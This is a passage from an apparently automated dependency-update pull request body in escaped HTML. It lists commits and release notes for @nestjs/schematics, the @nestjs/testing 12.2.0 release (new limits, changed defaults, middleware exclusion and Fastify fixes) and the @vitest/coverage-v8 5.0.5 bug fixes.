scaffold comment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/bea6fd865f18fd88c3973f9738a5bb99eaa21f75\"\u003e\u003ccode\u003ebea6fd8\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency oxlint to v1.89.0 (\u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2503\"\u003e#2503\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/b50a8af8997f4bd6ec0cf503add90aac961bf4d2\"\u003e\u003ccode\u003eb50a8af\u003c/code\u003e\u003c/a\u003e fix(observe): read the key pair from the environment before the placeholders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/624163c770ceadda57cdcf7f96a33541f622006b\"\u003e\u003ccode\u003e624163c\u003c/code\u003e\u003c/a\u003e fix(observe): require the sdk whose link swaps the placeholders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/eb41c92c4288ad2b21426cef284a6a41e4abe8f0\"\u003e\u003ccode\u003eeb41c92\u003c/code\u003e\u003c/a\u003e chore(): release v12.0.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/1cb2635a264bd7369862dc914b3ad3656f609925\"\u003e\u003ccode\u003e1cb2635\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2500\"\u003e#2500\u003c/a\u003e from nestjs/renovate/angular-cli-monorepo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/4572c1feb2fca34573fd6eb3753b692d530295be\"\u003e\u003ccode\u003e4572c1f\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2502\"\u003e#2502\u003c/a\u003e from nestjs/feat/observe-link\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/36bf8bcbb06902876ce66d42e2ea83e307430c44\"\u003e\u003ccode\u003e36bf8bc\u003c/code\u003e\u003c/a\u003e docs(application): say every nest start script loads the env file\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nestjs/schematics/compare/12.0.7...12.0.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@nestjs/testing` from 12.1.3 to 12.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nestjs/nest/releases\"\u003e@​nestjs/testing's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev12.2.0 (2026-10-19)\u003c/h2\u003e\n\u003ch4\u003eNotable changes\u003c/h4\u003e\n\u003cp\u003e\u003cstrong\u003eNew options\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@Sse({ maxPendingDataLength })\u003c/code\u003e sets how many characters of event data may wait for a client that is not reading its events (4M by default; \u003ccode\u003e0\u003c/code\u003e or \u003ccode\u003eInfinity\u003c/code\u003e lifts the limit) – \u003ca href=\"https://github.com/nestjs/nest/commit/2f05ad954e2ca7633d6c90b0e4268e6d9ef0e6d8\"\u003e2f05ad954e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eIoAdapter\u003c/code\u003e and \u003ccode\u003eWsAdapter\u003c/code\u003e take \u003ccode\u003emaxConcurrentMessages\u003c/code\u003e, the number of a client's messages handled at once (1000 by default; \u003ccode\u003eInfinity\u003c/code\u003e lifts it) – \u003ca href=\"https://github.com/nestjs/nest/commit/0bd0810ed7625744f34cf32698f723b8b8e6d024\"\u003e0bd0810ed7\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eValidationPipe\u003c/code\u003e takes \u003ccode\u003emaxErrorMessagesLength\u003c/code\u003e (1,000,000 characters by default); messages past it are replaced by a \u0026quot;Further validation errors were omitted\u0026quot; entry – \u003ca href=\"https://github.com/nestjs/nest/commit/086c1c514faf8e04922c63fb4cd8bca87d90ced3\"\u003e086c1c514f\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKafka: \u003ccode\u003eparser.maxMessageSize\u003c/code\u003e (16 MiB after decompression by default); larger messages are logged and skipped – \u003ca href=\"https://github.com/nestjs/nest/commit/9bdf844fca9f88d659678bb060ad8369c297ab3e\"\u003e9bdf844fca\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTCP server: \u003ccode\u003edrainTimeout\u003c/code\u003e (30 s by default, \u003ccode\u003e0\u003c/code\u003e disables) disconnects a peer that leaves its responses unread – \u003ca href=\"https://github.com/nestjs/nest/commit/583d6077ad3b58aeffb91636d6cded6f8c2f3ee1\"\u003e583d6077ad\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMQTT server: \u003ccode\u003ereconnectOnConnackError\u003c/code\u003e is now enabled by default, so a refused connection attempt is retried; set it to \u003ccode\u003efalse\u003c/code\u003e for the previous behaviour – \u003ca href=\"https://github.com/nestjs/nest/commit/a63cea600a17cfe486f8fe7fcd679325c589615c\"\u003ea63cea600a\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eHttpServer.getRouteMatchingOptions()\u003c/code\u003e, an optional adapter hook that tells core how the router matches paths (see \u0026quot;Middleware exclusions\u0026quot; below) – \u003ca href=\"https://github.com/nestjs/nest/commit/08d8677c8d576119669b12e109ee6513319a6c4e\"\u003e08d8677c8d\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eNew defaults and behaviour changes\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-express\u003c/code\u003e, \u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: \u003ccode\u003efieldNestingDepth\u003c/code\u003e and \u003ccode\u003efieldArrayIndexLimit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nestjs/nest/pull/18074\"\u003e#18074\u003c/a\u003e) now default to 32 and 1000; set them to \u003ccode\u003eInfinity\u003c/code\u003e to lift the limits – \u003ca href=\"https://github.com/nestjs/nest/commit/94fcc937706978c9305b2486f38643cfdf37bab9\"\u003e94fcc93770\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eValidationPipe\u003c/code\u003e validates with \u003ccode\u003evalidationError.target: false\u003c/code\u003e unless the options set it, so an \u003ccode\u003eexceptionFactory\u003c/code\u003e that reads \u003ccode\u003eerror.target\u003c/code\u003e gets \u003ccode\u003eundefined\u003c/code\u003e; set \u003ccode\u003evalidationError.target\u003c/code\u003e to \u003ccode\u003etrue\u003c/code\u003e for the old errors – \u003ca href=\"https://github.com/nestjs/nest/commit/8c5a59bf63c0d68a462c085ee2976a7d5b1aba9a\"\u003e8c5a59bf63\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eValidationPipe\u003c/code\u003e answers an array or a primitive sent for a validated class with a 400 – \u003ca href=\"https://github.com/nestjs/nest/commit/197371c1f3902254bcec09e2fa46bd35b889b1be\"\u003e197371c1f3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eFileTypeValidator\u003c/code\u003e matches a string \u003ccode\u003efileType\u003c/code\u003e up to the end of a name (e.g. \u003ccode\u003efont/woff\u003c/code\u003e no longer accepts \u003ccode\u003efont/woff2\u003c/code\u003e; use a RegExp for that) – \u003ca href=\"https://github.com/nestjs/nest/commit/770c6f1a191830b1c9a19f33b0f0e08cb45f8a8e\"\u003e770c6f1a19\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@SerializeOptions({})\u003c/code\u003e on a handler no longer turns off the class schema – \u003ca href=\"https://github.com/nestjs/nest/commit/d27cb7017fd9f21dadfd078791ffe8fe5a25644c\"\u003ed27cb7017f\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eBaseExceptionFilter\u003c/code\u003e answers \u003ccode\u003ehttp-errors\u003c/code\u003e errors created with \u003ccode\u003eexpose: false\u003c/code\u003e (the default from 500) with the standard reason phrase instead of their message – \u003ca href=\"https://github.com/nestjs/nest/commit/9ed572f853bb164feb4f9a5a8ae1f4537ba57118\"\u003e9ed572f853\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003eStreamableFile\u003c/code\u003e error still gets a 400, but the body no longer carries the error message – \u003ca href=\"https://github.com/nestjs/nest/commit/2f28d91afb743e9475de72521cb87cf8c5f3892d\"\u003e2f28d91afb\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFiles uploaded with a request that a pipe rejected are removed from storage – \u003ca href=\"https://github.com/nestjs/nest/commit/acb98de89ea4b782403329eb76837f7089ad7974\"\u003eacb98de89e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: a route with \u003ccode\u003efileSize: undefined\u003c/code\u003e (or \u003ccode\u003enull\u003c/code\u003e) falls back to the plugin's limit; set it to \u003ccode\u003eInfinity\u003c/code\u003e to keep uploads unlimited – \u003ca href=\"https://github.com/nestjs/nest/commit/dd549e1a741c5a1f5eb6b729b8d2cc664bb8f338\"\u003edd549e1a74\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-express\u003c/code\u003e: object error bodies are sent as \u003ccode\u003eapplication/json\u003c/code\u003e on routes with a non-JSON \u003ccode\u003eContent-Type\u003c/code\u003e – \u003ca href=\"https://github.com/nestjs/nest/commit/7dc6e349d525d82d73c2576cf57b8297de254a64\"\u003e7dc6e349d5\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConsoleLogger\u003c/code\u003e in JSON mode cuts a record short past about a million characters – \u003ca href=\"https://github.com/nestjs/nest/commit/ad4915eaa357698e004efd8e0fc66aec2651e132\"\u003ead4915eaa3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA global enhancer that the injector failed to instantiate now fails the application at startup – \u003ca href=\"https://github.com/nestjs/nest/commit/ae78524ced7f4ad4886ab031dd8abc78cf6a6b1e\"\u003eae78524ced\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA request- or transient-scoped \u003ccode\u003eAPP_FILTER\u003c/code\u003e now logs a startup warning, as it only applies to exceptions thrown from controllers – \u003ca href=\"https://github.com/nestjs/nest/commit/df5275c5e18c99854efb42119496244082ebec0c\"\u003edf5275c5e1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMicroservices: a pattern key longer than 256 characters matches no handler – \u003ca href=\"https://github.com/nestjs/nest/commit/accd27e66c090f8f78efd8653b0c968286414c0a\"\u003eaccd27e66c\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKafka: a message may carry up to 10,000 header values (\u003ca href=\"https://github.com/nestjs/nest/commit/e419ff540b261ce23dde58e80b19daefa46e89ba\"\u003ee419ff540b\u003c/a\u003e); headers given as a string or array are not sent (\u003ca href=\"https://github.com/nestjs/nest/commit/312777743fce3f553febb69624e97bf624770392\"\u003e312777743f\u003c/a\u003e); reply headers are decoded as text (\u003ca href=\"https://github.com/nestjs/nest/commit/ee94f6aaae19a8654b8455f67e9fe972ff355907\"\u003eee94f6aaae\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egRPC: request streams are paused while their replies wait to be written – \u003ca href=\"https://github.com/nestjs/nest/commit/37e5cf77062f2f373809dd9ed290e0ed8424a717\"\u003e37e5cf7706\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeprecation\u003c/strong\u003e: on TCP, Redis, NATS, MQTT and RabbitMQ, an \u003ccode\u003e@EventPattern()\u003c/code\u003e handler that replies to \u003ccode\u003eClientProxy#send()\u003c/code\u003e now logs a deprecation warning. The reply is unchanged; in the next major version event handlers will not reply to \u003ccode\u003esend()\u003c/code\u003e, as on Kafka already – \u003ca href=\"https://github.com/nestjs/nest/commit/ba3668d36b6c4e13a2b8617fcfb0a5fe624e04e6\"\u003eba3668d36b\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMiddleware exclusions\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eMiddlewareConsumer.exclude()\u003c/code\u003e now compiles excluded routes with the router's case and trailing-slash matching (\u003ca href=\"https://github.com/nestjs/nest/commit/08d8677c8d576119669b12e109ee6513319a6c4e\"\u003e08d8677c8d\u003c/a\u003e). Update \u003ccode\u003e@nestjs/core\u003c/code\u003e together with \u003ccode\u003e@nestjs/platform-express\u003c/code\u003e / \u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: with an adapter that does not implement \u003ccode\u003egetRouteMatchingOptions()\u003c/code\u003e, excluded routes are matched exactly (\u003ca href=\"https://github.com/nestjs/nest/commit/f5aa875e407d186d8cc86cf0ad62cfcbdea490f6\"\u003ef5aa875e40\u003c/a\u003e), so on a lenient router other spellings of an excluded path run the middleware.\u003c/li\u003e\n\u003cli\u003eWith header, media type or custom versioning, \u003ccode\u003eexclude({ path, method, version })\u003c/code\u003e and \u003ccode\u003eenableCsrfProtection({ exclude })\u003c/code\u003e apply only to requests that ask for one of the excluded versions – \u003ca href=\"https://github.com/nestjs/nest/commit/1a7a31fa46756875e1dc33de0185edadb06504d9\"\u003e1a7a31fa46\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: the request hook used by \u003ccode\u003eenableCsrfProtection()\u003c/code\u003e and \u003ccode\u003euseSecurityHeaders()\u003c/code\u003e now runs before Nest and \u003ccode\u003eapp.use()\u003c/code\u003e middleware with \u003ccode\u003eNestFactory.create()\u003c/code\u003e too, including middleware registered before either call, as it already did with \u003ccode\u003eTest.createNestApplication()\u003c/code\u003e – \u003ca href=\"https://github.com/nestjs/nest/commit/8351806290ff90905a0190429e46e290ec0e7494\"\u003e8351806290\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eBug fixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eplatform-fastify\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/614d1ac7eacef022da050adba2408810a8a1b408\"\u003e614d1ac7ea\u003c/a\u003e fix(fastify): send the status of an exception whose body is an error (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/8b420f788f05eb30ee8013529f4c359125e1391c\"\u003e8b420f788f\u003c/a\u003e fix(fastify): apply middleware to plugins registered before init (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/nestjs/nest/pull/18175\"\u003e#18175\u003c/a\u003e fix(fastify): keep raw-response cookies in the header helpers (\u003ca href=\"https://github.com/johnnyhuirilef\"\u003e\u003ccode\u003e@​johnnyhuirilef\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/c215fd9b4f583486c6ce39a3c43f257dc67e8329\"\u003ec215fd9b4f\u003c/a\u003e fix(fastify): match middleware paths like a case-insensitive router (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/43d4420205229f5671644186d6ee5f725c53c597\"\u003e43d4420205\u003c/a\u003e fix(fastify): pass version extractor errors to the error handler (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/1435ed22f4ce494cf9f95f6601fc8ab1310bf42c\"\u003e1435ed22f4\u003c/a\u003e fix(fastify): pass middleware rejections to the error handler (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/84c947faf93d21fb5cc68ef9e87eda3be6e18ff5\"\u003e84c947faf9\u003c/a\u003e fix(fastify): stop reading a streamable file for a head request (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/dd549e1a741c5a1f5eb6b729b8d2cc664bb8f338\"\u003edd549e1a74\u003c/a\u003e fix(fastify): let undefined upload limits fall back to the defaults (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/4735f8d0500bbc583ab012fe205ddb87ebe7b2fa\"\u003e4735f8d050\u003c/a\u003e fix(fastify): free memory storage chunks once a file is buffered (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/3e3e6eea6f837fbe91189ac93598f4d740f38bd0\"\u003e3e3e6eea6f\u003c/a\u003e fix(fastify): remove uploads cut off after their last chunk (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/c04a9182b9ae83e22a4c5fc514d704b4b7732c3c\"\u003ec04a9182b9\u003c/a\u003e fix(fastify): set the security headers on router error responses (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/af37111368de7fd2dfab0bdec2f530c7845510c2\"\u003e\u003ccode\u003eaf37111\u003c/code\u003e\u003c/a\u003e chore(release): publish v12.2.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/462da9143489f6a6c61e160a8b2a8186ed569104\"\u003e\u003ccode\u003e462da91\u003c/code\u003e\u003c/a\u003e fix(testing): share one auto-mock between providers of the same token (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18170\"\u003e#18170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/424185b89d5ca6994246585f8384e3b8c400dd5b\"\u003e\u003ccode\u003e424185b\u003c/code\u003e\u003c/a\u003e fix(core): fail at bootstrap on missing deps of scoped providers (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18166\"\u003e#18166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/e66c4d0fb7826bd01144d75dfbf032a15c6e1919\"\u003e\u003ccode\u003ee66c4d0\u003c/code\u003e\u003c/a\u003e fix(testing): mock dependencies of request-scoped providers (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18164\"\u003e#18164\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/1965aa144a3643c3f0d8a1e037732f54ba1cf89a\"\u003e\u003ccode\u003e1965aa1\u003c/code\u003e\u003c/a\u003e fix(testing): resolve auto-mocked dependencies of transient providers (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18158\"\u003e#18158\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/7b92cb461deef468540fb7379c0ac8a9c90888da\"\u003e\u003ccode\u003e7b92cb4\u003c/code\u003e\u003c/a\u003e fix: expose package.json in the exports map of all packages (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18122\"\u003e#18122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nestjs/nest/commits/v12.2.0/packages/testing\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted 